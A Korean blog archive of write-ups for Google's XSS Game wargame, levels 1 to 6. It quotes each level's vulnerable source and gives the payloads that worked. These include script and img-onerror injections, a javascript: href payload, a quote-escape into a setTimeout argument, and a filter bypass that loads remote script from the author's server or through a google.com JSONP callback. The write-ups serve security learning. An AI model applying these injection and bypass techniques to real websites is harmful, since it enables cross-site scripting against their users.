'Wargame/XSS Game'에 해당되는 글 6건

문제와 코드를 보면 다음과 같이 #을 기준으로 뒤의 값들을 가져와 https로 시작하는지 검증 후 아니면 document.head.appendChild를 통해 <script src=경로></script> 형태로 경로 위치에 가져온 값을 넣어 자바스크립트 형태로 파일을 포함시킨다.



level.py
gadget.js
index.html
1
2
3
4
5
6
7
8
9
class MainPage(webapp.RequestHandler):
  def render_template(self, filename, context={}):
    path = os.path.join(os.path.dirname(__file__), filename)
    self.response.out.write(template.render(path, context))
 
  def get(self):
    self.render_template('index.html')
 
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
1
/* This is a completely awesome invisible gadget */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
 
    <script>
    function setInnerText(element, value) {
      if (element.innerText) {
        element.innerText = value;
      } else {
        element.textContent = value;
      }
    }
 
    function includeGadget(url) {
      var scriptEl = document.createElement('script');
 
      // This will totally prevent us from loading evil URLs!
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }
 
      // Load this awesome gadget
      scriptEl.src = url;
 
      // Show log messages
      scriptEl.onload = function() {
        setInnerText(document.getElementById("log"), 
          "Loaded gadget from " + url);
      }
      scriptEl.onerror = function() {
        setInnerText(document.getElementById("log"), 
          "Couldn't load gadget from " + url);
      }
 
      document.head.appendChild(scriptEl);
    }
 
    // Take the value after # and use it as the gadget filename.
    function getGadgetName() {
      return window.location.hash.substr(1) || "/static/gadget.js";
    }
 
    includeGadget(getGadgetName());
 
    // Extra code so that we can communicate with the parent page
    window.addEventListener("message", function(event){
      if (event.source == parent) {
        includeGadget(getGadgetName());
      }
    }, false);
 
    </script>
  </head>
 
  <body id="level6">
    <img src="/static/logos/level6.png">
    <img id="cube" src="/static/level6_cube.png">
    <div id="log">Loading gadget...</div>
  </body>
</html>

내 서버에 alert(1);이 들어있는 js파일을 만들어 놓고 다음과 같이 http앞에 공백을 한칸줘서 필터우회해 payload를 날렸지만 이상하게 내 서버에 접근이 안되고 있었다.


https://xss-game.appspot.com/level6/frame# https://내 ip/test.js


여기서 도저히 이유를 못찾다가 힌트를 봤는데 이런게 있었다.



4번을 보니 내 서버쪽에서 js가 안땡겨지면 google.com/jsapi?callback=foo를 이용해보라 했다.


접속해보니 callback 파라미터 인자값을 받아서 값()과 같은 형태로 파일내에 문자열을 출력해주고 있는걸 확인할 수 있었고 파라미터 값으로 alert를 주면 js 파일 내에 alert()를 완성시킬 수 있었다.



이제 내 서버대신 이 서버를 #뒤에 넣어서 땡겨주니 정상적으로 alert창이 뜨는걸 확인할 수 있었다.




마지막 문제까지 끝내니 다음과 같은 사진이 나타났다.







'Wargame > XSS Game' 카테고리의 다른 글

XSS Game level 5  (0) 2018.03.31
XSS Game level 4  (0) 2018.03.30
XSS Game level 3  (0) 2018.03.30
XSS Game level 2  (0) 2018.03.29
XSS Game Level 1  (0) 2018.03.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

XSS Game level 5

Wargame/XSS Game 2018. 3. 31. 18:07

문제에 들어가보면 다음과 같이 sign up버튼을 눌렀을때 넘기는 파라미터 값이 a 태그의 href 속성에 들어가는 것을 볼 수 있다.




해당 태그 및 속성에서 벗어나기위해 ',",<,>를 사용해야 하는데 다 쓸수가 없다. href속성내에서 alert를 띄워야 한다. href를 통해 xss를 터트릴려면 javascript:공격구문 요런식으로 써주면된다. 이게 가능한 이유는 다음과 같이 url에 상에 javascript:alert('1') 요런식으로 구문이 입력되면 자바스크립트가 실행되기 때문이다.






요런식으로 payload보내주면 된다.




payload = javascript:alert(String.fromCharCode(49))


'Wargame > XSS Game' 카테고리의 다른 글

XSS Game level 6  (0) 2018.04.01
XSS Game level 4  (0) 2018.03.30
XSS Game level 3  (0) 2018.03.30
XSS Game level 2  (0) 2018.03.29
XSS Game Level 1  (0) 2018.03.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

XSS Game level 4

Wargame/XSS Game 2018. 3. 30. 18:13

문제에 들어가보면 다음과 같이 입력값을 받는 부분이 있다.



코드를 보면 입력값이 img 태그의 onload 이벤트 핸들러를 통해 실행되는 startTimer란 자바스크립트 함수에서 사용되는걸 볼 수 있었다.


<!doctype html>

<html>

  <head>

    <!-- Internal game scripts/styles, mostly boring stuff -->

    <script src="/static/game-frame.js"></script>

    <link rel="stylesheet" href="/static/game-frame-styles.css" />


    <script>

      function startTimer(seconds) {

        seconds = parseInt(seconds) || 3;

        setTimeout(function() { 

          window.confirm("Time is up!");

          window.history.back();

        }, seconds * 1000);

      }

    </script>

  </head>

  <body id="level4">

    <img src="/static/logos/level4.png" />

    <br>

    <img src="/static/loading.gif" onload="startTimer('1');" />

    <br>

    <div id="message">Your timer will execute in 1 seconds.</div>

  </body>

</html>


일단 화면에 뿌려주는 부분에서 공격을 해보면 다음과 같이 <,>,',"이 모두 필터링당하고 있는걸 볼 수 있었다.


html 영역내에서는 공격이 불가능하고 자바스크립트내부에서 해당변수가 사용되는 영역에 alert를 삽입해주면 된다.

인자값으로 받아서 parseInt의 인자로 쓰는영역에 alert를 넣어줬다.


payload = ');alert(1);//



 











'Wargame > XSS Game' 카테고리의 다른 글

XSS Game level 6  (0) 2018.04.01
XSS Game level 5  (0) 2018.03.31
XSS Game level 3  (0) 2018.03.30
XSS Game level 2  (0) 2018.03.29
XSS Game Level 1  (0) 2018.03.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

XSS Game level 3

Wargame/XSS Game 2018. 3. 30. 17:17


문제에 들어가보면 이전과 같이 alert를 띄우라고 한다. 근데 막상 기능을 살펴보면 서버랑 통신하는 구간이 없다. 즉 브라우저 API 단계에서 모든처리가 이루어지는 페이지이다. 문제자체는 어렵지 않았지만 그동안 XSS를 활용할 때 서버로 값을 전달하고 서버상에서 이를 받아 뿌려주는 구간에서만 공격이 가능하다는 고정관념에 갇혀있던 나에게 신선한 충격을 줬다.


문제에 접속 후 html,java script 코드를 확인해보면 다음과 같이 이미지 탭을 눌렀을때 넘기는 값들이 자바스크립트 함수내에서 이미지태그에 포함되어 동적으로 뿌려지고 있는걸 확인할 수 있었다.


<!doctype html>

<html>

  <head>

    <!-- Internal game scripts/styles, mostly boring stuff -->

    <script src="/static/game-frame.js"></script>

    <link rel="stylesheet" href="/static/game-frame-styles.css" />


    <!-- Load jQuery -->

    <script 

      src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js">

    </script>


    <script>

      function chooseTab(num) {

        // Dynamically load the appropriate image.

        var html = "Image " + parseInt(num) + "<br>";

        html += "<img src='/static/level3/cloud" + num + ".jpg' />";

        $('#tabContent').html(html);


        window.location.hash = num;


        // Select the current tab

        var tabs = document.querySelectorAll('.tab');

        for (var i = 0; i < tabs.length; i++) {

          if (tabs[i].id == "tab" + parseInt(num)) {

            tabs[i].className = "tab active";

            } else {

            tabs[i].className = "tab";

          }

        }


        // Tell parent we've changed the tab

        top.postMessage(self.location.toString(), "*");

      }


      window.onload = function() { 

        chooseTab(unescape(self.location.hash.substr(1)) || "1");

      }


      // Extra code so that we can communicate with the parent page

      window.addEventListener("message", function(event){

        if (event.source == parent) {

          chooseTab(unescape(self.location.hash.substr(1)));

        }

      }, false);

    </script>


  </head>

  <body id="level3">

    <div id="header">

      <img id="logo" src="/static/logos/level3.png">

      <span>Take a tour of our cloud data center.</a>

    </div>


    <div class="tab" id="tab1" onclick="chooseTab('1')">Image 1</div>

    <div class="tab" id="tab2" onclick="chooseTab('2')">Image 2</div>

    <div class="tab" id="tab3" onclick="chooseTab('3')">Image 3</div>


    <div id="tabContent">&nbsp;</div>

  </body>

</html>


실제로 클릭해보면 다음과 같이 url상에서 #뒤에 인자값이 들어가는걸 확인할 수 있었다.


이미지 태그의 경로내에 값이 들어가고있어 형식을 맞춰서 페이로드 짜주면 된다.


payload = '%20onerror=alert(1)%20'


서버랑 통신없이 브라우저단에서 처리하는거라 Stored는 불가능하지만 취약점이 진짜 안터질때 Reflected로 시나리오 기반 모의해킹 수행할때 써먹으면 좋을 것 같다.





'Wargame > XSS Game' 카테고리의 다른 글

XSS Game level 6  (0) 2018.04.01
XSS Game level 5  (0) 2018.03.31
XSS Game level 4  (0) 2018.03.30
XSS Game level 2  (0) 2018.03.29
XSS Game Level 1  (0) 2018.03.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

XSS Game level 2

Wargame/XSS Game 2018. 3. 29. 23:24

 

payload = <img src=1 onerror=alert(1)>

'Wargame > XSS Game' 카테고리의 다른 글

XSS Game level 6  (0) 2018.04.01
XSS Game level 5  (0) 2018.03.31
XSS Game level 4  (0) 2018.03.30
XSS Game level 3  (0) 2018.03.30
XSS Game Level 1  (0) 2018.03.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

XSS Game Level 1

Wargame/XSS Game 2018. 3. 29. 23:00

Payload = <script>alert(45)</script>

'Wargame > XSS Game' 카테고리의 다른 글

XSS Game level 6  (0) 2018.04.01
XSS Game level 5  (0) 2018.03.31
XSS Game level 4  (0) 2018.03.30
XSS Game level 3  (0) 2018.03.30
XSS Game level 2  (0) 2018.03.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,